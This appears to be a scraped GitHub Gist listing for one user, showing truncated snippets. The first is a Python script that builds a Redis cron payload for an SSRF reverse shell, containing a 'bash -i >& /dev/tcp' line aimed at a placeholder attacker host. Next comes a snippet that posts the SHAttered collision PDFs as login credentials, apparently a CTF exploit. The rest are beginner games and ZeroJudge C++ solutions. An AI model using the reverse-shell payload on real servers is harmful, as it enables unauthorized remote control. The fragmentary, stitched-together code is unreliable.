Skip to content

Instantly share code, notes, and snippets.

@TheoKlein
TheoKlein / redis2gopher.py
Last active December 23, 2021 15:15
Python3 script to convert redis command to gopher's TCP stream URL encoded data for SSRF reverse shell
import urllib.parse
reverse_host = "<YOUR_REVERSE_HOST>"
reverse_port = "<YOUR_REVERSE_PORT>"
protocol = "gopher://"
ip = "<REDIS_HOST>"
port = "<REDIS_PORT>"
shell = "\n\n*/1 * * * * bash -i >& /dev/tcp/{}/{} 0>&1\n\n".format(reverse_host, reverse_port)
path = "/var/spool/cron/"
import requests
from urllib.request import urlopen
pdf1 = urlopen("http://shattered.io/static/shattered-1.pdf").read()
pdf2 = urlopen("http://shattered.io/static/shattered-2.pdf").read()
res = requests.post('http://127.0.0.1:8892/', data={"username": pdf1, "password": pdf2})
print(res.text)
@TheoKlein
TheoKlein / 1A2B.py
Last active December 25, 2020 13:59
simple 1A2B game by python
# -*- coding: utf-8 -*-
import random
def gen_ans():
ans = []
while len(ans) != 4:
n = random.randrange(0, 10)
if not n in ans:
ans.append(n)
print("--debug only--")
@TheoKlein
TheoKlein / ZeroJudge d122.cpp
Created August 12, 2016 05:50
ZeroJudge d122
#include <iostream>
using namespace std;
int main() {
long int n;
while(cin >> n){
int count = 0;
while(n > 4){
n -= n % 5;
@TheoKlein
TheoKlein / ZeroJudge c007.cpp
Created August 10, 2016 11:01
ZeroJudge c007
#include <iostream>
#include <string>
using namespace std;
int main () {
string input;
bool quote = false;
while( getline(cin , input) ){
for(int i = 0 ; i < input.length() ; ++i){
@TheoKlein
TheoKlein / ZeroJudge a536.cpp
Last active August 11, 2016 15:20
ZeroJudge a536
#include <iostream>
using namespace std;
class Soda{
public:
Soda(int = 0 , int = 0 , int = 0);
void Exchange();
int getEmpty();
int getExchange();
@TheoKlein
TheoKlein / ZeroJudge d380.cpp
Created July 18, 2016 12:36
ZeroJudge d380
#include <iostream>
using namespace std;
void stringToNum( string in , int *array ){
for(int i = (int)in.length() - 1 , j = 0 ; i >= 0 ; --i , ++j)
array[i] =in[j] - '0';
}
bool checkZero(int *array){
for(int i = 0 ; i < 251 ; ++i)
@TheoKlein
TheoKlein / ZeroJudge c045.cpp
Created July 18, 2016 11:43
ZeroJudge c045
#include <iostream>
using namespace std;
int main() {
int index = 0;
unsigned long int max = 0;
string input;
char array[100][100] = {' ' , ' '};
while(getline(cin , input)){
@TheoKlein
TheoKlein / ZeroJudge a134.cpp
Created July 17, 2016 09:00
ZeroJudge a134
#include <iostream>
#include <cmath>
using namespace std;
int fib( int * );
int main() {
int n;
cin >> n;
@TheoKlein
TheoKlein / ZeroJudge b532.cpp
Created July 12, 2016 09:43
ZeroJudge b532
#include <iostream>
#include <cctype>
using namespace std;
int main() {
int num;
cin >> num;
while(num-- != 0){
int left = 0 , right = 0 , result = 0;